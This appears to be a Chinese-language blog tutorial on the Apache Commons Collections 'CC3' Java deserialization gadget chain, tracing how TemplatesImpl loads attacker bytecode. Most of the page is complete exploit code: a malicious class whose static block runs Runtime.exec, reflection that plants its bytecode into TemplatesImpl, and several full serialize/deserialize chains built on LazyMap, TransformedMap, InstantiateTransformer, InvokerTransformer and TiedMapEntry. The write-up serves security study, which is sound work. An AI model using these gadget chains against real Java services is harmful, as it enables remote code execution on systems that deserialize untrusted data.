cc3


CC3

一.链子分析

CC1和CC6利用反射触发Runtime.getRuntime().exec()去执行命令的,但是往往很多时候代码中的黑名单都会选择禁用Runtime,而CC3不依靠Runtime类中的exec,而是利用类加载机制,动态加载恶意类来实现自动执行恶意类代码

所以首先要学一下java的类加载机制,推荐此文

(´∇`) 欢迎回来!

根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。然后利用在类加载过程的初始化步骤中会执行静态代码块,通过java的类加载机制,可以让类初始化时,会执行static静态区里的代码。可以测试一下

写一个恶意类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package CC3;

import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}

执行javac test.java命令生成.class文件。

然后我们写一个动态加载类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package CC3;

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URLClassLoader;
import java.net.URL;

public class CC3 {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException{

        //URLClassLoader加载器需要传入一个url加载类
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[] {new URL("file:D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\")});
        Class<?> c = urlClassLoader.loadClass("CC3.URLClassLoader_test");
        c.newInstance();
    }
}

image-20250918200147078

这里的话通过URLClassLoader加载器去动态加载类并初始化类对象,这里在初始化的时候执行了static静态区里面的代码,从而执行恶意命令

这里介绍一下上面用的几个异常类

image-20250918195833715

ClassLoader 加载一个类时,它会调用自身的 defineClass() 方法来将类的字节码转换为 Class 对象,这也是我们的入手点

image-20250617150859033

但defineClass只是加载类,不会执行类,如果要执行类,要先进行newInstance()实例化

image-20250918201742830

而且此时defineClass是protected类型的,并不是我们预期的利用方法,我们尝试寻找一下public属性的defineClass()方法

1.TemplatesImpl之defineClass()

image-20250918202646258

TemplatesImpl类继承了ClassLoader并且重写了defineClass方法,这里的话并没有写明是什么类型的方法,所以默认为default类型,可以在类中被调用,跟进看看被谁调用了

2.TemplatesImpl之defineTransletClasses

在defineTransletClasses()方法下发现了这个方法被调用了,但是是private类

image-20250918203142888

继续跟进

3.TemplatesImpl之getTransletInstance

有3个地方调用了,但是为啥getTransletInstance可以,因为其有一个newInstance类的初始化,可以动态调用恶意类中的静态方法

image-20250918204514134

但是该类是私有的,还得继续找

4.TemplatesImpl之newTransformer

到这就就没错了,是public类型,而且还有序列化接口

image-20250918210613896

所以链子就是

1
2
3
4
5
TemplatesImpl::newTransformer()->
    TemplatesImpl::getTransletInstance()->
        TemplatesImpl::defineTransletClasses()->
            TemplatesImpl::defineClass()->
                恶意类代码执行

二.问题解决

入口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        templates.newTransformer();

    }
}

打个断点,调试,跳到newTransformer

image-20250918225021083

(其实不用管newTransformer的参数,它肯定会调用getTransletInstance),接下来就进入到getTransletInstance

1.解决getTransletInstance中name为null的问题

发现name不能为null,_class为null,才会执行defineTransletClasses()方法

image-20250918225708680

看看这两个变量,是私有

image-20250918230054064

看看其构造函数(有2个构造函数,这个接收的对象是字节码,所以显然是这个),并没有对这两个变量进行赋初值操作,那我们正常用反射给_name一个String类型的值就行了

image-20250918231007197

所以demo是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;

public class CC3 {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException  {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?>c=templates.getClass();
        Field _name=c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"a");

        templates.newTransformer();



    }
}

打断点调试发现进入了defineTransletClasses()

image-20250918232339858

2.解决defineTransletClasses中bytecodes为null的问题

进入defineTransletClasses发现_bytecodes没赋值,在definClass方法的调用中_bytecodes变量是作为一个一维数组传入的,这也是我们需要执行代码的地方

image-20250919230424662

但是发现其声明的是二维数组

1
    private byte[][] _bytecodes = null;

构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte(_bytecodes[i]是我们需要放入的恶意字节码,那我们修改这里的值为我们之前test测试时候的恶意类),然后把一维byte数组变成二维的交给_bytecodes

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException  {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?>c=templates.getClass();

        Field _name=c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"a");

        Field _bytecodes=c.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class"));   //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
        byte[][] codes = {code};  //把一维byte数组变成二维的交给_bytecodes
        _bytecodes.set(templates,codes);
        templates.newTransformer();


    }
}

运行报错,一问ai是某些必要字段未被正确初始化,且ai提示可能是**_tfactory**未初始化,追踪一下

1
 private transient TransformerFactoryImpl _tfactory = null;

这个变量有一个修饰符叫transient,代表着这个属性是不能被序列化的,意思是反序列化不能给它赋值。那我们只能通过readObject给它赋值了,我们看一下本类的readObject:

1
2
3
4
private void  readObject(ObjectInputStream is) throws IOException, ClassNotFoundException{
    …………
_tfactory = new TransformerFactoryImpl();
}

改代码有

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException  {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?>c=templates.getClass();

        Field _name=c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"a");

        Field _bytecodes=c.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class"));   //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
        byte[][] codes = {code};  //把一维byte数组变成二维的交给_bytecodes
        _bytecodes.set(templates,codes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());


        templates.newTransformer();


    }
}

运行发现报错

image-20251120212348437

报了一个空指针错误,错误在TemplatesImpl类里的422行

image-20251120213607718

if是判断TemplatesImpl类的父类是否是一个常量ABSTRACT_TRANSLET,如果是,就给_transletIndex赋值为i,如果不是,就进else。

可以看到,我们不满足if条件,进了else,这里的_auxClasses值是空的,所以才会报了空指针错误。

那么我们现在有两种办法:

1
一是使得if判断成立,给_transletIndex赋值,二是给_auxClasses赋值。

但是我们看下面还有一个if判断,判断_transletIndex是否小于0,如果我们不给_transletIndex赋值,那它的值默认是-1,就会小于0,进入下面那个if,然后抛出一个Error,代码也就执行不了了。所以这里的方法二是走不通了,我们只能走方法一,给_transletIndex赋值。

首先我们需要满足if条件,即我们执行代码的类的父类要是ABSTRACT_TRANSLET,我们进去看一眼这个常量是什么

1
2
    private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

然后我们修改runtime.class类的父类。

因为AbstractTranslet是抽象类,所以我们要实现它所有的抽象方法。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

把这个类编译一下。

然后我们拿着新的runtime.class再来执行一下我们写的链子。

image-20251128215711843

三:链子衔接

其实这个链子有两条路可以走,一个就是寻找如何触发newTransformer(EXP1),另一个就是直接调用newTransformer()方法(EXP2),然后我们接下来看看怎么触发TemplatesImpl.newTransformer(),查找一下用法,找到了 TrAXFilter类的构造方法

image-20251128220534546

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException  {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?>c=templates.getClass();

        Field _name=c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"a");

        Field _bytecodes=c.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class"));   //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
        byte[][] codes = {code};  //把一维byte数组变成二维的交给_bytecodes
        _bytecodes.set(templates,codes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());


        new TrAXFilter(templates);


    }
}

但是我们此时链子尚不完整,需要找到能代替实例化TrAXFilter的方法,CC3的作者并没有使用CC1的InvokerTransformer的transform而是用了InstantiateTransformer::transform()。

image-20251129192854362

这里可以获取构造器并调用构造函数,看一下该类的构造函数

image-20251129193745806

这里的话我们传入new Class[]{Templates.class}new Object[]{templates} 就可以了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException  {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?>c=templates.getClass();

        Field _name=c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"a");

        Field _bytecodes=c.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class"));   //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
        byte[][] codes = {code};  //把一维byte数组变成二维的交给_bytecodes
        _bytecodes.set(templates,codes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);


    }
}

接下来可以找一下怎么触发transform方法了,这里可以跟CC1和CC6挂上关系

1.接入CC1(instantiateTransformer)

从上面可以看到,我们此时链子尚不完整,还是需要回到最终的readObject中,这时候我们可以接CC1_2的后半段了,也就是我们的

ChainedTransformer方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException, InvocationTargetException {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?>c=templates.getClass();

        Field _name=c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"a");

        Field _bytecodes=c.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class"));   //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
        byte[][] codes = {code};  //把一维byte数组变成二维的交给_bytecodes
        _bytecodes.set(templates,codes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), instantiateTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler类实现自InvocationHandler接口
        InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入
        InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Override.class, mapProxy);

        serialize(obj);
        unserialize("serialize");
    }
    public static void serialize(Object object) throws IOException{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();

    }
}

也可以接cc1_1,但是为了防止setValue() 的传参无法控制,需要引入 TransformerChainedTransformer 加以辅助。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?>c=templates.getClass();

        Field _name=c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"a");

        Field _bytecodes=c.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class"));   //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
        byte[][] codes = {code};  //把一维byte数组变成二维的交给_bytecodes
        _bytecodes.set(templates,codes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","gxngxngxn"); //这里是问题二中改键值对的值为注解中成员变量的名称,通过if判断
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
        Class b=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=b.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o=constructor.newInstance(Target.class,transformedmap); //这里是问题二中第一个参数改注解为Target
        serialize(o);
        unserialize("1.txt");
    }
    public static void serialize(Object object) throws IOException{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();

    }
}

image-20251129205655803

2.接入CC1用InvokerTransformer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();

        Class<?>c=templates.getClass();

        Field _name=c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"a");

        Field _bytecodes=c.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class"));   //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
        byte[][] codes = {code};  //把一维byte数组变成二维的交给_bytecodes
        _bytecodes.set(templates,codes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","gxngxngxn"); //这里是问题二中改键值对的值为注解中成员变量的名称,通过if判断
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);
        Class b=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=b.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o=constructor.newInstance(Target.class,transformedmap); //这里是问题二中第一个参数改注解为Target
        serialize(o);
        unserialize("1.txt");
    }
    public static void serialize(Object object) throws IOException{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(object);
    }
    public static void unserialize(String filename) throws IOException, ClassNotFoundException{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();

    }
}
image-20251129225009464

3.接入CC6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        Class<?>c=templates.getClass();

        Field _name=c.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"a");

        Field _bytecodes=c.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CC\\src\\main\\java\\CC3\\test.class"));   //构建一维byte数组,为了适应defineClass接收的参数,并从文件里读byte
        byte[][] codes = {code};  //把一维byte数组变成二维的交给_bytecodes
        _bytecodes.set(templates,codes);

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
        HashMap<Object,Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer("1"));//在newLazyMap对象的时候,把factory属性随便写个没用的Transformer

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key");
        map.put(tiedMapEntry, "value"); //在put的时候lazymap里的factory属性是空,就不会触发hash
        lazyMap.remove("key");


        Class<LazyMap> lazyMapClass=LazyMap.class;//获取LazyMap对象的类
        Field factory = lazyMapClass.getDeclaredField("factory");   //获取LazyMap对象的类中的factory属性
        factory.setAccessible(true);//因为factory是private的变量,所以需要设置
        factory.set(lazyMap,chainedTransformer);//设置factory值chainedTransformer

        serialize(map);//在序列化的时候factory值又变成了chainedTransformer
        unserialize("cc6.txt");
    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }

}

CC3是绕过Runtime的好办法,贴一张总结

ALLCC.png (2461×458)

image-20251129225734215

谢谢观看